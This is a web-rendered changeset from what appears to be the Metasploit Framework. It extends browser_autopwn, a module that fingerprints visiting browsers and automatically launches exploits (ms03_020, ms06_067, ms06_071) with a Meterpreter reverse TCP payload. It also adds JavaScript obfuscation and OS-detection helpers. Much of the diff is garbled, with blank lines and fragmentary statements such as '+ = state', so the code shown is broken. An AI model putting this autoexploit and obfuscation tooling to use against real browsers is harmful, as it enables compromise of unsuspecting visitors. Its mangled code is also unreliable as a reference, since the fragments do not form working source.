Changeset 5563

Timestamp:

07/22/08 02:28:05 (3 months ago)

Author:

egypt

Message:

browser_autopwn now works with mozilla_compareto, mozilla_navigatorjava, and firefox_queryinterface; increased reliability of OS and browser detection

Files:

• framework3/trunk/data/sql/mysql.sql (modified) (1 diff)
• framework3/trunk/data/sql/postgres.sql (modified) (1 diff)
• framework3/trunk/data/sql/sqlite.sql (modified) (1 diff)
• framework3/trunk/lib/msf/core/auxiliary/report.rb (modified) (2 diffs)
• framework3/trunk/lib/msf/core/db.rb (modified) (3 diffs)
• framework3/trunk/lib/msf/core/exploit/http.rb (modified) (2 diffs)
• framework3/trunk/lib/msf/ui/console/command_dispatcher/db.rb (modified) (1 diff)
• framework3/trunk/lib/rex/exploitation/javascriptosdetect.rb (added)
• framework3/trunk/lib/rex/exploitation/obfuscatejs.rb (modified) (8 diffs)
• framework3/trunk/modules/auxiliary/server/browser_autopwn.rb (modified) (9 diffs)

framework3/trunk/data/sql/mysql.sql

@@ -7 +7 @@
-name VARCHAR(255),
-state VARCHAR(255),
-
+
+
+
+
+
+
-);
-

framework3/trunk/data/sql/postgres.sql

@@ -8 +8 @@
-name VARCHAR(255),
-state VARCHAR(255),
-
+
+
+
+
+
+
-);
-

framework3/trunk/data/sql/sqlite.sql

@@ -7 +7 @@
-'name' VARCHAR(255),
-'state' VARCHAR(255),
-
+
+
+
+
+
+
-);
-

framework3/trunk/lib/msf/core/auxiliary/report.rb

@@ -9 +9 @@
-module Auxiliary::Report
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-        # Shortcut method for detecting when the DB is active
-        def db
@@ -18 +30 @@
-        end
-        
+        # 
+        # Report a host's liveness and attributes such as operating system and service pack
+        #
+        # opts must contain :host, which is an IP address identifying the host
+        # you're reporting about
+        #
+        # See data/sql/*.sql and lib/msf/core/db.rb for more info
+        #
-        def report_host(opts)
-                return if not db
-                addr = opts[:host] || return
-                framework.db.report_host_state(self, addr, Msf::HostState::Alive)
+
+                opts.delete(:host)
+                if (opts.length > 0) 
+                        framework.db.report_host(self, addr, opts)
+                end
-        end
-
+        # 
+        # Report detection of a service
+        #
-        def report_service(opts={})
-                return if not db

framework3/trunk/lib/msf/core/db.rb

@@ -108 +108 @@
-        #
-        def report_host_state(mod, addr, state, context = nil)
-
+
-                # TODO: use the current thread's Comm to find the host
-                comm = ''
@@ -114 +114 @@
-                
-                ostate = host.state
-
+ = state
-                host.save
-                
-                framework.events.on_db_host_state(context, host, ostate)
+                return host
+        end
+
+        #
+        # Report a host's attributes such as operating system and service pack
+        #
+        # At the time of this writing, the opts parameter can contain:
+        #       :state       -- one of the Msf::HostState constants
+        #       :os_name     -- one of the Msf::Auxiliary::Report::OperatingSystems constants
+        #       :os_flavor   -- something like "XP" or "Gentoo"
+        #       :os_sp       -- something like "SP2"
+        #       :os_lang     -- something like "English" or "French"
+        #       :arch        -- one of the ARCH_* constants
+        #
+        # See <MSF install dir>/data/sql/*.sql for more info
+        #
+        def report_host(mod, addr, opts = {}, context = nil)
+
+                report_host_state(mod, addr, opts[:state] || Msf::HostState::Alive)
+                opts.delete(:state)
+                
+                host = get_host(context, addr, '')
+                
+                opts.each { |k,v|
+                        if (host.attribute_names.include?(k.to_s))
+                                host[k] = v
+                        end
+                }
+
+                host.save 
+                
-                return host
-        end
@@ -141 +172 @@
-                return port
-        end
-
+
-
-        #

framework3/trunk/lib/msf/core/exploit/http.rb

@@ -558 +558 @@
-        # Obfuscates symbols found within a javascript string.
-        #
+        # Returns an ObfuscateJS object
+        #
-        def obfuscate_js(javascript, opts)
-
+
+
+
-        end
-
@@ -568 +572 @@
-        def heaplib(custom_js = '')
-                Rex::Exploitation::HeapLib.new(custom_js).to_s
+        end
+
+        def js_base64
+                js = <<-ENDJS
+                        // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
+                        // variable names changed to make obfuscation easier
+                        var Base64 = {
+                                // private property
+                                _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+
+                                // private method
+                                _utf8_encode : function ( input ){
+                                        input = input.replace(/\\r\\n/g,"\\n");
+                                        var utftext = "";
+                                        var input_idx;
+
+                                        for (input_idx = 0; input_idx < input.length; input_idx++) {
+                                                var chr = input.charCodeAt(input_idx);
+                                                if (chr < 128) {
+                                                        utftext += String.fromCharCode(chr);
+                                                }
+                                                else if((chr > 127) && (chr < 2048)) {
+                                                        utftext += String.fromCharCode((chr >> 6) | 192);
+                                                        utftext += String.fromCharCode((chr & 63) | 128);
+                                                } else {
+                                                        utftext += String.fromCharCode((chr >> 12) | 224);
+                                                        utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
+                                                        utftext += String.fromCharCode((chr & 63) | 128);
+                                                }
+                                        }
+
+                                        return utftext;
+                                },
+
+                                // public method for encoding
+                                encode : function( input ) {
+                                        var output = "";
+                                        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
+                                        var input_idx = 0;
+
+                                        input = Base64._utf8_encode(input);
+
+                                        while (input_idx < input.length) {
+                                                chr1 = input.charCodeAt( input_idx++ );
+                                                chr2 = input.charCodeAt( input_idx++ );
+                                                chr3 = input.charCodeAt( input_idx++ );
+
+                                                enc1 = chr1 >> 2;
+                                                enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
+                                                enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
+                                                enc4 = chr3 & 63;
+
+                                                if (isNaN(chr2)) {
+                                                        enc3 = enc4 = 64;
+                                                } else if (isNaN(chr3)) {
+                                                        enc4 = 64;
+                                                }
+                                                output = output +
+                                                this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
+                                                this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
+                                        }
+                                        return output;
+                                },
+                                // public method for decoding
+                                decode : function (input) {
+                                        var output = "";
+                                        var chr1, chr2, chr3;
+                                        var enc1, enc2, enc3, enc4;
+                                        var i = 0;
+
+                                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
+
+                                        while (i < input.length) {
+
+                                                enc1 = this._keyStr.indexOf(input.charAt(i++));
+                                                enc2 = this._keyStr.indexOf(input.charAt(i++));
+                                                enc3 = this._keyStr.indexOf(input.charAt(i++));
+                                                enc4 = this._keyStr.indexOf(input.charAt(i++));
+
+                                                chr1 = (enc1 << 2) | (enc2 >> 4);
+                                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
+                                                chr3 = ((enc3 & 3) << 6) | enc4;
+
+                                                output = output + String.fromCharCode(chr1);
+
+                                                if (enc3 != 64) {
+                                                        output = output + String.fromCharCode(chr2);
+                                                }
+                                                if (enc4 != 64) {
+                                                        output = output + String.fromCharCode(chr3);
+                                                }
+
+                                        }
+
+                                        output = Base64._utf8_decode(output);
+
+                                        return output;
+
+                                },
+                                _utf8_decode : function (utftext) {
+                                        var string = "";
+                                        var input_idx = 0;
+                                        var chr1 = 0;
+                                        var chr2 = 0;
+                                        var chr3 = 0;
+
+                                        while ( input_idx < utftext.length ) {
+
+                                                chr1 = utftext.charCodeAt(input_idx);
+
+                                                if (chr1 < 128) {
+                                                        string += String.fromCharCode(chr1);
+                                                        input_idx++;
+                                                }
+                                                else if((chr1 > 191) && (chr1 < 224)) {
+                                                        chr2 = utftext.charCodeAt(input_idx+1);
+                                                        string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
+                                                        input_idx += 2;
+                                                } else {
+                                                        chr2 = utftext.charCodeAt(input_idx+1);
+                                                        chr3 = utftext.charCodeAt(input_idx+2);
+                                                        string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
+                                                        input_idx += 3;
+                                                }
+                                        }
+
+                                        return string;
+                                }
+
+
+                        };
+
+                ENDJS
+                opts = { 
+                        'Symbols' => { 
+                                'Variables' => [
+                                        'Base64', 'encoding', 
+                                        'result', '_keyStr',
+                                        'encoded_data',
+                                        'utftext', 'input_idx',
+                                        'input', 'output',
+                                        'chr', 'chr1', 'chr2', 'chr3',
+                                        'enc1', 'enc2', 'enc3', 'enc4'
+                                ],
+                                'Methods' => [ 
+                                        '_utf8_encode', '_utf8_decode',
+                                        'encode', 'decode' 
+                                ]
+                        }
+                }
+                js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
+
+                return js
+        end
+
+        def js_os_detect
+                return ::Rex::Exploitation::JavascriptOSDetect.new
-        end
-    

framework3/trunk/lib/msf/ui/console/command_dispatcher/db.rb

@@ -46 +46 @@
-                def cmd_db_hosts(*args)
-                        framework.db.each_host do |host|
-
+ Status: #{host.state} OS: #{host.os_name} #{host.os_flavor}
-                        end
-                end

framework3/trunk/lib/rex/exploitation/obfuscatejs.rb

@@ -6 +6 @@
-#
-class ObfuscateJS
+        attr_reader :opts
-
-        #
@@ -19 +20 @@
-        #    'Variables'  => [ 'var1', ... ],
-        #    'Methods'    => [ 'method1', ... ],
-Classes'    => [ { 'Namespace' => 'n', 'Class' => 'y'}
-Namespaces' => [ 'n'
+Namespaces' => [ 'n'
+Classes'    => [ { 'Namespace' => 'n', 'Class' => 'y'}
-        # }
-        #
@@ -53 +54 @@
-        # </code>
-        #
+        # String obfuscation tries to deal with escaped quotes within strings but
+        # won't catch things like 
+        #     "\\"
+        # so be careful.
+        #
-        def self.obfuscate(js, opts = {})
-                ObfuscateJS.new(js).obfuscate(opts)
@@ -60 +66 @@
-        # Initialize an instance of the obfuscator
-        #
-
+, opts = {}
-                @js      = js
-                @dynsym  = {}
+                @opts    = {
+                        'Symbols' => {
+                                'Variables'=>[],
+                                'Methods'=>[],
+                                'Namespaces'=>[],
+                                'Classes'=>[]
+                        },
+                        'Strings'=>false
+                }
+                @done = false
+                update_opts(opts) if (opts.length > 0)
+        end
+
+        def update_opts(opts)
+                if (opts.nil? or opts.length < 1)
+                        return
+                end
+                if (@opts['Symbols'] && opts['Symbols'])
+                        ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
+                                if (@opts['Symbols'][k] && opts['Symbols'][k])
+                                        opts['Symbols'][k].each { |s|
+                                                if (not @opts['Symbols'][k].include? s)
+                                                        @opts['Symbols'][k].push(s)
+                                                end
+                                        }
+                                elsif (opts['Symbols'][k])
+                                        @opts['Symbols'][k] = opts['Symbols'][k] 
+                                end
+                        }
+                elsif opts['Symbols']
+                        @opts['Symbols'] = opts['Symbols']
+                end
+                @opts['Strings'] = opts['Strings'] || false
-        end
-
-        #
-        # Returns the dynamic symbol associated with the supplied symbol name
+        #
+        # If obfuscation has not yet been performed (i.e. obfuscate() has not been
+        # called), then this method simply returns its argument
-        #
-        def sym(name)
@@ -76 +118 @@
-        #
-        def obfuscate(opts = {})
+                return @js if (@done)
+                @done = true
+
-                # Remove our comments
-                remove_comments
-
-
+
+
+
+
+
-                        obfuscate_strings()
-
-
-
-
-
+
+
+
-
-                        @js = Rex::Text.compress(@js)
@@ -100 +147 @@
-                end
-                # Globally replace symbols
-opts['Symbols']) if 
-
-
+@opts['Symbols']) if @
+
+return 
-        end
-
@@ -114 +161 @@
-
-protected
+        attr_accessor :done
-
-        #
@@ -158 +206 @@
-        # Change each string into some javascript that will generate that string
-        #
-
-
-
+
+
+
+
+
-        # so be careful.
-        #

framework3/trunk/modules/auxiliary/server/browser_autopwn.rb

@@ -11 +11 @@
-
-
-
-require 'msf/core'
+require 'rex/exploitation/javascriptosdetect.rb'
-
-module Msf
-
-class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary
-        
-        BROWSER_IE = "MSIE"
-        BROWSER_FF = "Firefox"
-        BROWSER_SAFARI = "Safari"
-        OS_LINUX   = "Linux"
-        OS_MAC_OSX = "Mac OSX"
-        OS_WINDOWS = "Windows"
-
-        include Exploit::Remote::HttpServer::HTML
@@ -30 +23 @@
-        def initialize(info = {})
-                super(update_info(info, 
-
+ and autoexploiter
-                        'Version'     => '$Revision: $',
-                        'Description' => %q{
-                                Webbrowser fingerprinter and autoexploiter. 
-                                },
-
+
+
+
+
-                        'License'     => BSD_LICENSE,
-                        'Actions'     =>
@@ -54 +50 @@
-                @exploits = Hash.new
-        end
-
+
+
-                case name
-#exploit/windows#
+{exploit/windows}
-                        payload='windows/meterpreter/reverse_tcp'
-                else
@@ -73 +70 @@
-                        'LocalInput'     => self.user_input,
-                        'LocalOutput'    => self.user_output,
-0
+targ
-                        'Payload'        => payload,
-                        'RunAsJob'       => true)
-
-                #print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}")
-                @lport += 1
-        end
@@ -86 +82 @@
-                @lhost = datastore['LHOST']
-                @lport = @lport.to_i
-
+ on host #{@lhost}
-
-                ##
@@ -92 +88 @@
-                ##
-
-
+
+
+
+
+
+
+
+
+
+
+
+
-                # For now just use the default target of Mac.
-                # requires javascript
-#
+
-
-                # works on iPhone 
@@ -103 +110 @@
-                #init_exploit('exploit/osx/browser/software_update')
-                #init_exploit('exploit/windows/browser/ani_loadimage_chunksize')
-
-
-
+
+
+
+
+
+
+
+
+
+
-                # does not require javascript
-                init_exploit('exploit/windows/browser/ms03_020_ie_objecttype')
-
-
-
-
-
+
+
+
-                #init_exploit('exploit/windows/browser/ms06_055_vml_method')
-
+
-                # Works on default IE 5 and 6
-                # requires javascript 
-
+
+
-                init_exploit('exploit/windows/browser/ms06_067_keyframe')
-
-                # only works on IE with XML Core Services
-                # requires javascript
-requires 
+
-                init_exploit('exploit/windows/browser/ms06_071_xml_core')
-
-                #init_exploit('exploit/windows/browser/winamp_playlist_unc')
-
-
-
+
+
+
+
+
+
+
+
+
+
+
-        end
-
@@ -134 +157 @@
-                print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-                case request.uri
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-